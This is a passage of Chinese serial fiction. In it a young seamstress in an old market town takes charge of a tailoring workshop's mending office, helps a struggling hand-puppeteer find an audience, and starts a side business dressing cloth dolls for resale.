其实这种事情好办,可没人去争取,就没人管的。 林秀水回去说了这个好消息,几个缝补婆子大喜过望,裁缝作的伙食可不错,至少日日有两素一荤一汤,饭管饱,比她们吃泡饭配咸菜要好上太多,还有专门吃饭的地方。 她领三个忐忑的婆子去打饭的,林秀水很大方地说:“李管事,这是我们缝补处的,李婆婆、张婆婆和陈婆婆,我们以后也在这里吃饭了,批的条子在这。” “哎,在这吃在这吃,我们都晓得了,今日吃红熬小鸡,炒夏菘、肉酸馅馒头、糟姜,大家拿碗来吃。” 李管事很亲热,招呼几个婆子吃饭,林秀水帮他家闺女补过一件五六贯的纱衣。 三个缝补婆子束手束脚,忐忑的心才安稳下去,在这不仅能吃好,还能吃饱,简直是从前不敢想的。 下午还送了木榻来,木榻结实,垫些东西能叫她们躺一躺,会好受不少。 受了大半辈子的气,来到这里后,本来想弓着背做人的,结果腰杆倒是挺直了,没有遭罪。 原本几个婆子来到她手底下,都觉得有些无望,如果要去各屋子处接活,总要受些白眼和欺负,毕竟林秀水真的年纪太轻了,对上这样年轻的脸,真很难让人产生敬佩的。 可事实是,她太能顶事了。 跟着这样的人,即使这几个婆子年纪比她大上几轮,都得诚心诚意地喊她“林管事”,不敢托大。 而林秀水则欢喜于这些布帘、帐幔,全给她处理,虽说发霉,但都是布的边缘底下多,她自己戴着口罩和手套裁掉了不少,至于其他地方的斑斑点点,还可以洗,实在洗不掉,还能剪,只要霉点不多,她还可以染。 扔掉太可惜了,这个镇子里,还有许多买不起布的。 她将一部分的布帘装到袋子里,送到洗衣行里,她好久没来过了,送手套也是宋三娘过来给的。 小九看到她来,连忙从凳子上弹起来,赶紧去接她,“阿俏,真是好久没见过你了。” 林秀水交代道:“这也不是好久没来过,照顾你们生意来了,就是这都是霉布,我已经抖过了,你们还是得小心着点,别凑近去瞧。” 又问道:“新的围布好用吗?” 她之前赚了钱,从油衣作许三娘子那买了不少油布,除了手套外,还做了一批套头的油布围裙,按大家需求做的,卖得很不错。 小九连忙说:“好用,至少不用弄湿衣裳了,我们时常念叨你呢,这批东西交给我们吧,保管洗干净。” “我们这段时日接了不少活,都说我们这的洗衣行洗东西又快又好,我们也赚了不少,多亏你卖的手套。” 林秀水忙说:“那可是多亏了你们自己,衣裳又不是我洗的。” 其实她为了赚钱卖过许多东西,各种形状的香囊、荷包、猫头鞋、罩衣、围裙等等,能卖不少价钱,但是很快会有相同的东西冒出来,哪怕做工精美也会有更好的,市面就不缺奇巧的东西。 只有手套一如既往地卖得好,而且分布到多个行当里头,她有时也想过为什么,大概是其他仿的人不上心,只仿了个样子出来,选的油布不行,不肯多用桐油上缝边,会很快漏水,要想不漏水,成本太高了。 最主要卖得没她便宜,又没她好用,很多 人仿过她许多东西,都在手套上败北了,没人跟她抢生意,她已经卖到三家洗衣行里去了。 不过这批从裁缝作里拿的布帘,她没打算做手套,先在洗衣行里洗了,而后发现布上仍有一些分布的黑点,她又拿到染肆里去染。 拿回到手里是崭新的布,她放到摊子上卖,两百文一大块,能供瘦一点的人做件短褙子,或者一条裤子,给小孩的至少可以做套上衣下裳,跟大家说好,这是霉布洗后再染的,限买两块。 “跟新的一样,给我来两块,我给小孩做身新衣。” “我也是,我没带钱,先给我留着啊,我不嫌弃什么生没生过霉,这么便宜,它就是块好布。” 这个价钱实在很便宜,哪怕很拮据的人家,打算穿两三年前的衣裳过过算了,此时也忍不住想掏钱,到了夏初总得穿件新衣裳吧。 就是不穿,留着到冷秋时,也可以絮点丝绵,做个夹层,她们这些不富裕的人家,夏日还没真的来时,就已经为秋冬做打算了,应当说她们整个夏日里赚的钱,都是秋冬买粮、买炭、买衣的钱。 林秀水这批布就赚一点,裁缝作里用作布帘、帐幔的绢布即使不算很好,可仍旧要胜过她卖的染色麻袋许多。 哪怕是旧桌帷,用的粗布,她也告诉其他娘子,可以缝块里布,做件小孩的短衫,拼拼凑凑总能做一件出来的。 虽说她致力于跟换下来的布帘较劲,要各种量和裁,可她当了缝补处管事后,终于有了相对轻松的休息时间,不用日日费眼抽丝。晌午能歇一会儿,毕竟有了张床,她肯定要躺一会儿,铺了被褥、席子,挂了帐幔。 小春娥来她的屋子睡时说:“我这算是一人得道,鸡犬升天吗。” 林秀水打开窗子问她,“你是鸡犬里的哪一个?” “说错了,我们鹅跟鸡犬是老死不相往来的。” 林秀水打了个哈欠,“你顶多算蛾子,我怕鹅。” 小春娥摇摇头,一本正经,“不行啊,蛾是不能碰水的。” 可她后面说:“不过还是替你高兴。” “高兴什么呢?”林秀水想睡了,她又撑着眼皮问。 小春娥没说,那当然是高兴于付出有了回报,日日不停歇,早起缝补,晚上缝补,一日要做许多活,在裁缝作忙起来的时候,连吃饭都闭着眼,筷子戳到嘴边,不说手疼,但是又时常贴着膏药,绑着布。 她当然会高兴,得到的东西不曾辜负那么辛苦的日子。 要林秀水知道,她只会说,可是那种日子里,也很快乐。 她比较知足,知足能获得很多好东西,比如钱,比如许多钱。 可以买得起衣裳,想吃鸡能买西大街最有名气的炉焙鸡,想吃鸭她姨母会舍得买只老鸭,空闲的时候炖老鸭汤。 而明天是个缝补的好天气。 要大补特补,什么都补。 当然在缝补处里,在各种乱七八糟的布料帘子里,她想,补什么补?全给裁了做拖布。 算了,挑挑拣拣还能用。 第55章 第 55 章 回访可以,其他大可不必…… 缝补的好日子里, 林秀水还在收拾裁缝处的烂摊子。 明显破损的地方先换,破损小且还能用的,记下来往后腾出人手再换。 光是换布帘, 来来回回得折腾半个月,绝大多数屋子里,做的衣裳、裙子等的, 堆放了布料,不能日头直晒,可裁和缝要光线好,所以基本一半竹帘, 一半布帘。 可像熏衣裳的屋子里,大多是不用竹帘和布帘,基本是粗制纱帘, 熏得纱布颜色泛黄,仍旧要用新纱,说新纱好看且透气,照着前头的裁。 当管事虽好,可管事长,管事短,鸡毛蒜皮一堆杂活的时候, 林秀水有时候冒出念头来, 还不如抽纱呢。 至少抽纱就是抽纱, 不用听林管事, 我那屋子里的椅子被老鼠啃了,它还把几件衣裳咬坏了两三个洞可咋办? 能咋办,换椅子,再补衣裳。 至少绣花样就是绣花样, 不用前脚刚出门,后脚有娘子飞跑过来找她,高声喊林管事,快来啊!救命啊!一过去是看熨布的时候,炭飞出来烫坏一个小洞,一堆人手足无措地站在那。 能咋办,能补就补。她背着包,坐下来,拿出镊子、剪子,开始抽线补洞,在众人惊奇的目光里,补得丝毫不差。 来裁缝作里做这做那,做得最顺手的还是老本行。 反正见识过她缝补功夫的,每一声林管事都叫得心服口服。 她就跟朝中有人好办事一样,各项缝补的活也都很顺利,至少没使绊子的,该修的修,该补的补。 随着天逐渐热起来,屋子里闷得慌,小春娥她娘下午过半,还送了梁秆熟水来。 熟水是时人爱喝解渴的,梁秆熟水是用晒干的稻子煮的,加糖和一点蜂蜜,甜滋滋的。 她娘笑眯眯地说:“爱喝再给你们送,还有紫苏、豆蔻做的熟水,顺路的事情,你们这离我们灶房近,自己来拿也成,我们都给备着呢,其他屋子的娘子都有,你可放心吧。” 林秀水也不再推辞,送她出门,结果人家从篮子里取出瓶渴水,用杨梅熬出来的,叫林秀水拿回去,舀一勺倒些热水冲一冲再喝。 “我说小春娥多亏有你这个朋友,你也别累着自个儿,回去吧,怪晒的,我这就走了,记得要喝啊,解暑的。” 小春娥她娘挎了篮子,撑了伞往前走,留下林秀水看她的背影,手里的渴水冰冰凉,大概是爱屋及乌。 她看了会儿,转身进屋去,下工后,拿着整袋熏黄的纱布放船上,桑英从米行那里过来接她,捧出碗买来的冰雪冷元子,喊道:“快来吃,要化了。” “吃吃吃,”林秀水赶紧接过,“买这做什么?” “看见有人卖,我扛米回来热死了,想你也肯定很热,就买了碗,我也吃一口,这花了我十文呢,咋还没发月钱呢。” 桑英摸摸自己汗湿的头发,摇着船说:“我本来都舍不得买,一想我这些日子里,识字可用功了,早认字晚写字,我得买碗尝尝。” “那你给我吃?” “你不是比我更辛苦,我们两个一起尝,等我摇过了这个弯。” 船停在桥边处,两个人蹲在船头吃一碗小元子,早就都不冰了,是温的。 后面换林秀水摇船,桑英要到思珍那里学写字,她接小荷下学。 边上有人推着车架过,她避开了下,没注意瞧,看小荷迈过门槛,前头有鼓鼓囊囊一包东西,她擦了擦汗随口道:“又拿了什么来?” 结果猫小叶的脑袋从包里冒出来,好大一个猫头,吓她一跳。 小荷则仰起头来说:“我上次说了,带它见思珍姐姐啊。” “猫小叶说要吃桥头王阿姐家的蒸鱼。” “它托梦跟你说的?”林秀水问。 小荷点点头,“我梦到的,梦里它一直在汪,我想它要吃这个鱼。” 林秀水无话可说,比她还能胡扯。 不过还是买了,王月兰不准她每日总惯着小荷,所以她买了,偷偷摸摸带小荷上前头她租的屋子里去吃的。 她屋子大了,也不怕小荷乱走,猫小叶压根懒得动,所以小荷有了张写字的案几,有了把专属的小椅子,只是不许吃东西。 通常是她画纸样,改衣裳,周娘子在边上缝东西,小荷低头写写画画,有时跟周娘子的小宝一块玩。 这日里,林秀水将从裁缝作里拿来的纱布裁了,这种熏黄的布,洗不干净,卖不出去,她顺手裁了缝上,给小荷以及几个小孩做兜网,套个竹套子,能捞鱼,能捉火萤虫。 到了这时候的夜里,天上星子多,河道口桑树旁,火萤虫多。 她也不是时时要赚钱的,夜里也出门,提着盏灯笼,盯着一群小孩扑知了,捕火萤虫,抓了又放。 桑桥渡的火萤虫没上林塘的多,她以前跟陈九川捕的时候,田里到处都是,抓了就塞空鸭蛋壳里,照得发荧光。 想谁谁来。 “不忙了?”陈九川从溪岸口走上来,手里提着包东西。 林秀水朝他招招手,“那倒没有,忙是忙不完的,裁了纱布套子,看小孩玩呢。” “又拿了什么来?” 陈九川将东西递过去,香喷喷的,是一包槐花。 “今天从清河坞那换船,有人从上林塘过来卖槐花,买了包来。” 五月是槐花开的季节,桑青镇不种槐树,而上林塘多槐树林,一到五月里,槐花开得小而多,又很香,她会采槐花做香囊。 林秀 水整个五月里,都没怎么看见有人卖槐花,她一时惊喜,轻轻靠近将灯笼塞给他,拿过槐花来抱在怀里,“真给我啊。” 陈九川握着灯笼,手里忽而湿黏黏的,侧头看扑火萤虫的小孩。 “槐花做香囊也香的,做了送你一个。” 陈九川嘴比脑子快,他说:“好。” 林秀水又说:“要送给桑英、小春娥、思珍…张树也在吗?送他一个也行。” “不是很行,”陈九川听了前面几个,只是抬了抬眉头,听到这名字,坚决反对,“送张树太亏了,你忘了,他十三岁的时候,还馋嘴偷吃你的糕点。” “这种人别给他。” 林秀水奇怪看他一眼,她问:“张树又得罪你了?” 两年前的事情都能拿出来说。 陈九川毫不脸红地说:“他也偷吃我的饭。” 太可怕了,林秀水想,两个加起来要而立之年的人,还要抢饭吃。 不过这夜里,她将槐花悄悄拿进屋里,又将槐花放到枕边,睡得很好,梦里有槐花香,槐花真是世上最好的花,她也要去清河坞买些来,她要分给大家,每人一个。 到了转日是天晴,她早早醒了,清早桑行的人又搬梯子来桑树口剪桑。 清明时来一趟,总要念一句,清明雀口,看蚕娘娘拍手,意思清明桑叶绿,这桑长得好。 这回来下了狠手剪,剪桑人说孝顺种竹,忤逆剪桑,剪得越多长得越好, 林秀水可喜欢老桑树了,枝繁叶茂,早间摆摊凉快,结果给修成男童的鹁角发髻,前头一撮毛,后头光溜溜,还说叫它挂果。 她本来还想回到下头支摊,好久没到老桑树底下了,怪想的,结果这么一剪,她想,到底能不能替老桑树到官府里击鼓鸣冤。 只好提着桌子多走两步,到对面廊棚底下去,她好几日早上没出摊了,一直在忙裁缝作里的事情,今日特意起得很早。 结果这么早的天里,廊棚底下围了一圈人。 林秀水一瞧那算命招幌,出了梅雨,老算命回来摆摊了。 如果说桑树口缝补一条街,要是也有个瓦舍,得挂招子,写明今日谁来缝补的话,请大家有钱的捧个钱场,没钱的捧个人场。 那么林秀水的摊子是大家扎堆给钱的钱场,而老算命的摊子是一出面,不给钱也得来听的人场。 两人是生在桑树口,但实则该混到南瓦子里说诨话的一对奇葩。 林秀水连自个摊子也不摆了,将桌子往柱子边上一放,挂着槐花香囊,溜达溜达去听老算命胡说八道了。 老算命不瞎,头发白胡子白,乐意放一个小桌,上头拉根线,挂几张白底黑字小纸,上头写神课、看相、补五行八字、决疑。 头个来看相的,是个粗脖子大娘,她坐那小凳子上愁眉苦脸地说:“大师,我这些日子里啊,吃喝倒好,就是这一睡下,感觉浑身都湿黏黏的,这腿脚哪哪都难受。” “我一想啊,”那大娘紧张又神兮兮地说,“会不会是我前头下雨去庙里不小心踢翻了那香炉,上头三支香掉了,我赶紧给插回去了,可想想这心里老是慌。” “大师,你说我会不会冲撞到菩萨了?” 在十来张好奇的面孔,震惊的注视下,老算命说:“确实撞着了。” 他闭眼掐指细算,而后慢悠悠道:“你撞着梅雨了。” “啊?啊?” 老算命面不改色地说:“给你算过了,那日雨天菩萨不上工,上工的是龙王,你怕什么。” “给你开个方子,炉子一个,香炭二两,再到东头的纸马铺买张指日蛮烧了,雨过天晴,这事就过去了。” “连烧十日,烧前要煮小麦汤喝,淮小麦、大米、枣,记得炖了连喝十日,不好你只管来找我。” 那大娘一听肩膀顿时不紧绷了,长松了口气,欢天喜地走了。 林秀水好奇,“这烧前喝小麦汤真有用?” “傻不傻,”老算命看她一眼,“大枣养血安神,淮小麦治心神不宁,前头雨天她指定没晒被子,睡着冷,烧个炭驱驱寒气,我这法子叫外补内补。” 简直跟林秀水走同个路子的,好不好,能不能做,先一顿瞎忽悠,把人心神给稳住了。 后头还来了个戴东坡巾,穿件灰白长衫的书生,失魂落魄,张口便是,“哎,都说人生起起又落落,我怎么就不起,一直名落孙山。” “你夜里睡不睡?”老算命喝了口茶,慢慢问道。 书生惊奇,“那当然,不睡还叫人。” “你睡了,你白日从床上起不起?” 书生怒道:“怎么不起,不起我还能坐在这。” “那你怎么说自己人生不起?起床不是起。” 老算命在他要气死自己前说:“好了,给你开个方子,头朝东边睡,旁边挂张山水图,拿来我用朱砂做个符,写上你的名字,这就叫东山再起、榜上有名。” 书生半信半疑,“真的?” 老算命说:“不信你抽个签筹,抽中红的,那就是状元红,阿俏,你签筹呢?” 书生果真抽中了红签,大喜过望,“大师啊大师,看来我明年稳过啊。” 其他人震惊,且真心实意恭喜,书生红光满面,林秀水都不想告诉他,她作假,罐子里全是红签。 因为大伙老是到她抽签筹博个彩头,抽红高兴说是蚕花红,抽中蓝的说是竹篮打水一场空,她能有什么办法,换,全换成红的。 这事只有老算命知道,他就很欣赏林秀水,骗人骗得果断,见啥人说啥话。 也很爱给林秀水接活,比如今日让她在纸上画蟹纹,这里确实流行蟹纹,布料上也会有印花蟹纹,那种先画背部团脐,再画两边四条弯腿,以及挥舞一对大钳子的。 她实在好奇,“画这个做什么?” “你懂不懂十二星宫,”老算命摸摸自己的长胡须,“这古语有云:夏至,五月中,后六日入巨蟹宫,其神小吉。” “明日夏至,我早日跟你拿几张蟹纹,刻了印去,钱分你些,五月到了蟹宫,一群信十二星宫的,日日蟹神保吉祥,全卖给他们去。” 林秀水啧啧两声,她倒不大搞十二星宫的,但她知道,她生在一月里,一月是鱼宫,那就是如鱼得水。 她最近手里除了缝衣裳的,缝补的活倒不算特别多,也乐得给老算命画蟹纹,谢礼是收他一张财运符,不管有没有用,就是爱信。 其他人陆续上工,见到两人在,黄阿婆说:“怪不得,远远就瞧见一堆人了,我说只要你们两个在,总是来得人多,有热闹瞧。” “那我们两个负责招人,你们负责做那些活,”林秀水笑眯眯地说,没人接话,这活可太多了。 当然她一摆好桌子,就招人来了,是狗儿市里的人,来跟她买小狗斗篷和油衣的纸样,不买断。 是对夫妻,说是狗儿市里养二十几只狗的,生意一般,觉得这做油衣兴许有点出路,不管天热天冷,总要下雨的,狗待不住,要往外跑,卖这个合适。 林秀水卖逗猫棒,是给小荷揽的活,让她能赚点钱,至于这小狗油衣,她卖得一般,没有狗日日上门来。 她说:“其实你们买一件,拆开来就知道怎么做了,压根都不用上我这买。” “我们两个做不了这种亏心事,你花工夫做出来的,哪有我们一看就仿走的理。” 那穿花布衣裳的娘子说:“小娘子,你开个价吧,合适的话我们就买下。” 林秀水说:“两贯吧,这个纸样还算简单,只是你们真得想好了,不是日日都有人买的。” “两贯吗?只要两贯吗?” 另一个男子惊讶,夫妻俩互相看了对方一眼,两人都以为林秀水会狮子大开口,将半数身家带了过来,毕竟小狗油衣很独特。 真是太瞧得起林秀水了,这种纸样要是能卖出高价,她早就因此发家了。 她只不过想让每只在雨里奔跑的狗,都能跟黄三金一样自由,不要被淋湿。 这个买卖双方都觉得占到了便宜,交易很愉快,还叫林秀水去看两人养的狗。 卖了油衣纸样,林秀水兴奋,夜里要记下,翻翻前头的这些单子,回想起其他接手过的动物单子来,她其实都知道近况的。 她把这称之为回访。 不是她挨个回访,是大家挨个回访她。 比如铁公鸡,端午前边李习闲还抱着铁公鸡过来,给她送肉粽。 但鸡跟从前的鸡不可同日而语,鸡有毛了。 其他的鸡有羽毛,是其他鸡的事,是普通的事,铁公鸡长毛,是件大喜事。 总算不是鸡头插在红蜡烛上,裸着到处奔走了。 浑身长毛的鸡也要穿衣裳,大黑斗鸡配大红衣裳,林秀水说除了折腾她,就是折腾鸡。 不过鸡胖了,鸡跟人一起,活得好好的。 至于曾经拜师学艺的鹦鹉阿宝,乐衷于学鸟叫的,前阵子跟它会百鸟吟叫的师傅一起上台,眼下是一师一鸟徒弟,白日里唱几段,也有了不小的名气。 说到会学人话的翠花,它最近喜欢上了一只八哥,八哥总不搭理它,它深深地感到自己可怜,要吃很多小油松,要吃苎麻子,把自己吃到胖得塞不进衣裳。 做新衣裳时唉声叹气,站在林秀水肩头说:“吃,还吃。”“做,再做。” 瘸腿的驴子来福进山了,腿不大瘸了,夏天里热,养驴郎还送了她两兜的山果,林秀水数了数,整整好好四十颗,他还是喜欢凑成双数。 而喜欢三花的花花花,它眼下喜欢两只三花,猫图上的喜欢,林秀水做的也喜欢,每日要抓两只老鼠,边上的老鼠抓完了,这会儿要走远路去抓老鼠。 她说在抓老鼠上,每日真是不嫌辛苦。 猫不大,心倒是大。 人能三心二意,它能一喵二意,哪个都装得下。 爱雨天的大狗黄三金她没见着,这几日都晴,它压根不出门。 但她知道,都在好好过自己的日子,人过日子,猫鸟狗驴也得过,短短的生命里,要留下痕迹。 不过好归好,像李习闲这种乐衷于给她介绍生意,包括地上走的斗鸡,天上飞的老鹰架鹞,水里游的鸳鸯绿头鸭,只要她愿意,鱼都能逮几条来。 她说多谢,但是大可不必,她还没有真的想转行当兽医。 当然这是它们回访她,林秀水也抽空回访了照顾她生意的其他人,比如找她做傀儡的苏巧娘。 这年头当人不好当,做傀儡不好做啊。 55-60 第56章 第 56 章 了不起的我们 在时下年月里, 悬丝傀儡和杖头傀儡是众人喜闻乐见的。 悬丝傀儡头、腹、手臂、手掌连同腿和脚掌,在特制浮梁线的带动下,偶人抬头、屈膝、弯腿都很灵活;而杖头傀儡, 身高有二尺,即使没有腿,可胜在大, 脸上眼睛能动,嘴唇可以做到轻微开合。 苏巧娘喜欢的布袋木偶,仍旧是傀儡班子里所排斥,不大被市面接受的。 有一阵子里, 她给偶人新做了两身衣裳,说想到其他公科地旁,带布袋木偶去亮亮相, 她也想叫徒弟瞧瞧。 捧场的人很少,一日打赏十来文,那些公科地旁混的其他路岐人,各个手艺不俗,滑稽戏、杂技、斗鸡、弄虫蚁的,每个胜她许多。 连轴转了许多地方,接连碰壁, 最差的日子里, 从早演到晚, 只赚了五文钱, 也有过心灰意冷,舍了脸面,去接别家做傀儡的单子,她得带徒弟先混口饭吃。 林秀水倒是清楚, 之前也没有别的法子,能混出头的,哪个不是有本事,有能耐的,布袋傀儡输在不够新奇。 可这会儿林秀水倒是有了主意,特意起早,挑苏巧娘没有出门的时候,上门来找她。 卖早食的才上工,苏巧娘已经坐在屋子里雕刻木偶头了,出来开门,眼底青黑,嘴唇裂了好几道口子。 原本还以为是她徒弟上门来了,见是林秀水站在门边,忙将木刻刀握到另一只手里,拍拍身上的木屑,并问道:“阿俏,你怎么这时候过来了,我还以为是小雨。” 林秀水买了两个饼,递过去给她,又说:“来看看你啊,这么早的天,你已经在刻木偶了?” “有些活想早些做,”苏巧娘迎她进门,带她到雕木偶的屋子里,那里摆了这几个月里,她许多新雕的木偶,一排又一排。 林秀水弯腰挨个瞧了瞧,才转过身说:“你不是带着小雨,没有地方演布袋戏吗?不如上我们那去。” “我们桑树口新建了个廊棚,地方算是宽敞,如今天热起来,家里待不住,那廊棚底下夜里都是人。你白日要忙雕木偶的事情,夜里能到那去,也有几个灯笼亮着,估摸能比从前赚得多。” 她是问过街道司的,夜里也收税的,廊棚到了晚上,缝补的人瞧不清,没有摆摊子的,顶多有叫卖盐鸭卵的,坐在那里卖上几罐子,其余的大多夜里才得了空,出来到夜市里采买东西,或是坐廊棚底下说说话。 苏巧娘的木刻刀拿在手里,差点扎到桌子上,又收起来问道:“我也能去?” 她去南货坊时瞧过那廊棚好些次,也想过去看看,只是里头的人多,走到跟前看了几眼,又匆匆走了。 林秀水放下手里的偶人回道:“怎么不能,我都问过了,大家巴不得夜里能热闹点,虽说桑树口离南瓦子近,到那总人挤人,瞧不出名堂来。” 苏巧娘对能赚多少钱,不大抱有希望,她之前也在桑树口弄过傀儡,托林秀水的福,来看的人才多些,还收了个徒弟。 不过有地方可去,她早早收拾好东西,各种摆台,家当和偶人,到桑树口廊棚底下,林秀水说趁天色长,光照好,先摆出来让大伙瞧瞧。 布袋木偶虽然小巧,套在手上便可动,也是要搭台子的,通常放一张到人腰间的窄桌,前面角塞上木棍,挂上一张中间裁空的布,人站到后头,布袋木偶在前。 苏巧娘没什么钱,她的钱都拿去买香樟木料做偶人了,不然也能定一个好台子。如此简陋的台帐,她又有些忐忑,应该再好好准备的,她有段日子没出来了。 即使是这么简陋的台子,在这个廊棚底下,随处可见的长凳上都坐满了人,还有人搬了自家的凳子来,瞧个热闹。 最多的是小孩,他们又不会比较悬丝傀儡好,还是杖头傀儡好,或是那种在船上、空地里滋滋往外喷火药的药发傀儡好,他们只会喊好,好玩! 一排小孩站起来,踮脚仰头,全神贯注地瞧,目光里是偶人梳着高高的发髻,穿朱红的衣裳,好多颜色的飘带,像话本里的仙子飞出来,又有穿浅石青窄袖,提一把剑出来的女子,上下舞动。 对于其他娘子郎君而言,又没有鼓匠,只靠嘴里吹个哨子,呜呜哇哇地配乐,演的戏也不大精彩,不如南瓦子里精心编排过出色。 对于小孩而言,十分稀奇,眼睛黏在上头,半步也不肯挪,从爹娘手里抠出一文两文的,要学大人的做派打赏。 “你看看就行了,你怎么这么傻,”那娘子压低声音皱眉说,死活不肯给。 小女孩跺脚,“又不是这个理,我就喜欢看这个,那南瓦子里都是做给你们瞧的,我看不来。” “娘,你给我吧,我以后跟你 一样大了,我手里有钱就还给你。” “你长点出息吧,拿去拿去,生了你这么个犟种。” 小女孩露出笑来,将两文钱小心放到边上的盒子里,她挠挠头,想说点什么好话,又说不出来,只好说:“我可喜欢了,你们明日还来吗?” “要来的呀,我会早早等在这里的,”她说,“等我吃了晌午饭,还没吃夜饭的时候,就在这里等你们来。” “来,我会来的,会早点来的。” 苏巧娘热得脸潮红,背后也浸湿了,却连忙满口应下,为一颗赤诚的心。 她此时的心跳如雷鸣,长久受挫后,她变得踌躇起来,从前那种坚定的念头,说要一直走下去,慢慢传承的心,都悄悄出现了裂痕。 可原来有了裂痕,不需要补,会得见天光。 这次出来做布袋戏,苏巧娘除了收到百来文的赏钱外,她突然有了批小看客,是会她夜里说要来,会早早等她来,围着她说要套着玩一玩,并且不加掩饰地说喜欢。 小孩子才不会管正宗不正宗呢,大家只知道好看好玩,在他们的嘴里,布袋木偶是最好的木偶。 苏巧娘曾经遭受挫折,又频繁经历上台即冷场,不叫好也不叫座的布袋木偶,在这个夏日里,廊棚底下,有了方小小的天地。 布袋木偶在这里像颗种子一样,慢慢扎根、长高,迟早有一日,长成一棵树,是桑青镇里的桑树,遍地可见。 苏巧娘仍有激动到心狂跳的欢喜,她控制不住自己颤抖的手,如同两个月前那样,坐在林秀水的裁缝屋子里,那时外头下了淅淅沥沥的小雨,这会儿没下雨,雨下到了她的脸上。 “我,我,”苏巧娘哽咽,“我感觉有望了,跟我孩子成才有出息了一样。” “我想再做点衣裳,我想给大家带来更好的东西,我可以好好练。” 跟之前也不同的是,林秀水拿出一个本子,上头有许多黏好的纸样,推到她面前说:“什么样式,什么款式,我都能给你做出来。” 今时不同往日。 配色不再成为她的难题,布料也不是难题,缝衣也不是。 林秀水一直有在学怎么配色,即使搭的仍旧没有很好,可相比两个月前的自己来说,有了不小的长进,她也保证几十只偶人都有不同配色的衣裳。 她想想又道:“你可以多刻些寻常的,一样的面孔偶人出来卖给我。” 一来可以帮苏巧娘缓解钱财上的窘迫,二来又能宣传布袋木偶,林秀水也有新的赚钱路子。 那就是做偶身衣或小娃衣。 不止傀儡要穿衣裳,随着夏日到来,市面上有许多磨喝乐的,这种泥塑或者用木头做出来的小人,也是要穿各种衣裳的。 磨喝乐做工精巧,即使是泥塑的,也卖几百到上千文,几十文很少见,林秀水觉得可以用布袋木偶代替,不过木偶的偶头即使雕得再快,一刻不停歇也只能雕三个。 林秀水找到桥边卖绢孩儿的婆婆,人家叫她绢婆婆,绢婆婆做的绢孩儿从头到脚很细巧,全是用绢布缝的头脸身子,但卖得不好。 绢孩儿身上的衣裳是针线缝死的,配色不好看,而且料子也差,卖二十文钱一个也没人买。 林秀水蹲下来说:“婆婆,你绢孩儿多做些,不要缝衣裳,照旧二十文钱一个卖给我,我先买一百个。” “什么?小娘子,你莫不是在说笑?”绢婆婆忙问一遍,她又自言自语,“我这耳朵近来是有些毛病,难不成我头里也生了毛病,想出来的,这怕不是癔症吧。” “真不是啊,”林秀水蹲累了,她提出个建议,“要不婆婆你掐自己一把。” 绢婆婆立即回神道:“那不行。” 总算能开始谈生意了,林秀水将之前别人采买小狗油衣纸样的两贯钱拿出来,用于采买绢孩儿。 在绢婆婆手里是砸手的货,可在林秀水手里,只要换身衣裳,这东西她能卖七八十文。 每个绢孩儿体型都一样,她只需要量出尺寸,照着画纸样裁衣就行。 她翻出一筐的布头,裁出二指宽的红色布条,就能做绢孩儿的抹胸,其余找好布,按剪好的纸样慢慢裁出来。 是红抹胸,橙色印柿蒂纹的下裙,外头罩一件草绿色白边绣花领抹,浅粉色的纱。 林秀水裁好衣片,放在边上,又裁出青黄相接的纱裙,蓝色腹围,浅蓝色对襟开衩小袖短衫等等。 这种小人穿的裙子,比大的满裥裙要难打褶,林秀水是画好线缝,用买的薄铁片绑上布刮出来的。 她裁了很多的衣裳样式,一套一套配好,她自己不缝,也没有给周娘子,而是带到裁缝作里,分给她缝补处的婆子,夜里带回家里缝,十文钱缝一套,比起其他的活要好缝多了。 还问领抹处的娘子要不要缝,像小环年纪轻,想要多赚些钱的,很乐意接下这个缝小衣的活,也有五六个娘子说要缝的。 认识的裁缝多,转手就能拿针起线,给她缝一套衣裳出来。 一个夜里能出二十几套小衣裳,而且缝得针脚可不差,她给钱给得很快,大家都乐意给她缝衣裳。 林秀水把这个活给小荷做,小荷可乐意了,小心翼翼给绢孩儿换上一件衣裳,还捧在手里打量半天。 “我也想穿。” 实在是衣裳漂亮得很,尤其层层叠叠的短纱,哪怕套在个木偶头和丝绵绢布做的绢孩儿身上,都变得眉清目秀,动人起来。 林秀水很诚实地说:“你身上是穿不了的,你胳膊能穿。” “好了,别皱着脸,给你一个,你每日给它换着玩。” 小荷立即拍马屁,“阿姐,你比绢孩儿还要漂亮。” 林秀水不吃她这一套。 至于其他的绢孩儿或是布袋木偶,她没有放摊子上卖,而是分给了孙大同宋三娘,只是请宋三娘跑腿卖的时候,先往桑树口里来卖。 两个人卖东西卖得好,一样东西在孙大嘴里能说出花来,在宋三娘手里是变着法子卖,卖给走街串巷的货郎,卖给路边扑买摊子,送上门卖给人家小孩。 孙大隔日就上门跟林秀水说:“没了,全卖没了,再来些吧,五十个不嫌少,一百个不嫌多,有成百上千更好。” “我卖的那户人家,家里有三个闺女,手里只有两个了,没抢到的又哭又喊,我真没招了。” 匆匆赶来的宋三娘高声说:“快救急啊!” 林秀水都怕边上的张木生蹿出来,问她哪里要救人,她只好说:“别急。” “我急死了。” “我急得跟金子掉在眼前,死活弯不下身来捡一样急。” 急死了,绢婆婆都变不出蜘蛛一样的手,苏巧娘得有三头六臂才行。 所幸一段时日后,绢婆婆有了固定的营生,不用发愁卖不出去绢孩儿,苏巧娘不用愁于生计,可以专心将心思扑在布袋木偶上。 林秀水也赚到了钱,随着六月发下来的月钱一起,加起来总共有十八贯。 即使经手过的钱有许多,林秀水依旧会高兴,她说:“买布买布买布。” 王月兰插一句进来说:“买屋买屋买屋。” 林秀水说:“我也想买,眼下还买不起啊。” “我帮你许愿呢,多念几遍,你就能买得起了。” 其实王月兰帮她打算着呢,这能赚钱,能有钱是好事,但她仍想这钱变成几亩田地,叫林秀水不吃没粮的苦,能变成一间屋子,遮蔽风雨,谁也赶不走。 她这回不叫林秀水全花在买布,置办东西上,而是让她拿出十五贯钱,背个大篓子,趁没人的时候早早到西边,衙门旁边的金银盐钞巷子里,最大的李家金银铺换成银子。 铜钱说好听点,瞧着多,数着也高兴,越数越觉得自己家财万贯,可花出去快,这处花三文,那处花五文,零零散散的,一对账,花了几百文。 银子可就不一样了,林秀水压根花不出手,而且又不是碎银子,真是实心得压手。 王月兰换完才长长松了口气,“你给我藏好了,不管是藏在土里,床底,米缸里都行。” “可我总想藏兜里咋办,”林秀水捧着银子说,她看那么多的铜钱尚且还能把持住,但是金银她是真的不行,心慌手抖。 王月兰比她好点,她说:“你补蹴鞠你都不抖,拿出你补衣裳的架势来。” “我命里缺金银,得它补我,不是我补它啊。” 钱换了,林秀水找个安稳的地方藏好了,谁也不说,只是睡前总得摸一摸她才能安心。 